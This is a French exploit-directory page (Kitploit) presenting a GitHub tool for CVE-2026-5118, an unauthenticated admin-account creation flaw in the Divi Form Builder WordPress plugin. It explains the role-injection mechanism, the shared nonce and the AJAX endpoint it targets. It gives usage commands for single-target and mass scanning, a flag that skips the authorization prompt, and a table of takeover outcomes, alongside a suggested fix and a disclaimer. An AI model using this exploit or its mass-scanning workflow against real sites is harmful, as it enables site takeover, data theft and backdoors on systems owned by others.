Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5118 — Divi Form Builder <= 5.1.2 — Escalade de privilèges non authentifiée via injection de rôle | Kitploit
Outils/GitHubGitHub/yucaerin/cve-2026-5118
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubyucaerin/cve-2026-5118

CVE-2026-5118

Divi Form Builder <= 5.1.2 — Escalade de privilèges non authentifiée via injection de rôle

Voir le dépôt
11il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-5118 — Divi Form Builder <= 5.1.2 — Élévation de privilèges non authentifiée par injection de rôle

🔥 Résumé de la vulnérabilité

Le plugin WordPress Divi Form Builder versions <= 5.1.2 est vulnérable à une élévation de privilèges non authentifiée. Cette faille critique permet à des attaquants non authentifiés de créer un nouveau compte Administrateur directement via n'importe quel formulaire Divi Form Builder — y compris les formulaires de contact, de devis, de newsletter, ou tout autre formulaire activé par DFB.

La vulnérabilité provient de la fonction create_user() dans FormSubmissionHandler.php, qui accepte le paramètre role directement depuis les données POST soumises par l'utilisateur sans autorisation appropriée ni validation de liste blanche. Le plugin vérifie uniquement si le rôle soumis existe dans le système (par exemple, administrator est un rôle WordPress valide) — il ne vérifie jamais si le rôle est sûr pour une inscription publique.

Découverte majeure : Le fb_nonce utilisé par Divi Form Builder est un nonce global partagé (wp_create_nonce('security')) — identique sur tous les formulaires du site. De plus, form_type=register peut être remplacé via POST vers le gestionnaire AJAX partagé. Cela signifie que n'importe quel formulaire DFB (contact, devis, retour, etc.) peut être exploité pour déclencher une inscription d'utilisateur avec une attribution de rôle arbitraire.

🔍 Plugin concerné

  • Nom du plugin : Divi Form Builder
  • Version concernée : <= 5.1.2
  • Type de vulnérabilité : Élévation de privilèges non authentifiée par injection de rôle
  • Identifiant CVE : CVE-2026-5118
  • Score CVSS : 9.8 (Critique)
  • CWE : CWE-266 — Attribution de privilèges incorrecte
  • Impact : Prise de contrôle totale du site — Création de compte administrateur

🧨 Ce que les attaquants peuvent faire

🧪 Fonctionnalités de l'exploit

  • 🔓 Aucune authentification requise
  • 📝 Fonctionne via TOUT formulaire DFB — contact, devis, newsletter, retour, etc.
  • 🎯 Cible le point de terminaison AJAX /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler
  • 🧠 Injection de rôle — soumet role=administrator avec les champs normaux du formulaire
  • 🌐 Prise en charge du scan de masse — scanner multi-cibles avec threads et découverte automatique
  • 📄 Résultats enregistrés dans result.txt

🧠 Code vulnérable

root@kitploit:~
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← "administrator" EXISTS, so this check PASSES
}

// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role);  // ← PRIVILEGE ESCALATION!

🚀 Utilisation

Cible unique

root@kitploit:~
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]

Scan de masse (Liste sans http/https)

Créez targets.txt :

root@kitploit:~
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
root@kitploit:~
python3 exploit.py -l targets.txt -T 20

Options

🛠 Recommandations de correctif

root@kitploit:~
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Reject ALL dangerous roles
}
  • Supprimez complètement l'entrée cachée role des formulaires frontend
  • Ajoutez des vérifications de capacité current_user_can('create_users') pour les rôles privilégiés
  • Implémentez une vérification stricte des nonces limitée à chaque formulaire au lieu d'être globale
  • Ajoutez une limitation de débit sur le point de terminaison AJAX d'inscription

🧠 Chercheur

  • Crédit : 0xd4rk5id3

📚 Références

  • Avis Wordfence
  • Dépôt CVE original

🔒 Avertissement :

Ces informations sont fournies à des fins éducatives et de tests de pénétration autorisés uniquement. L'exploitation non autorisée de systèmes informatiques est illégale et contraire à l'éthique. Obtenez toujours une autorisation écrite explicite avant de tester toute cible que vous ne possédez pas.

Télécharger l’outil
CapacitéImpact
🔑 Créer un compte admin sans connexionPrise de contrôle totale du site
📦 Accéder aux données clients WooCommerceViolation de données
💉 Modifier les fichiers PHP des plugins/thèmesExécution de code à distance
🕳️ Installer des portes dérobées cachéesAccès persistant
👥 Voir toutes les données utilisateurViolation de la vie privée
DrapeauDescription
-t, --targetURL de la cible unique
-l, --listFichier contenant la liste des cibles (une par ligne, http/https optionnel)
-T, --threadsThreads pour le scan de masse (par défaut : 10)
-o, --outputFichier de sortie pour les résultats (par défaut : result.txt)
-u, --usernameNom d'utilisateur personnalisé pour le nouveau compte
-p, --passwordMot de passe personnalisé pour le nouveau compte
-e, --emailEmail personnalisé pour le nouveau compte
-v, --verboseSortie de débogage détaillée
--no-confirmIgnorer la demande de confirmation d'autorisation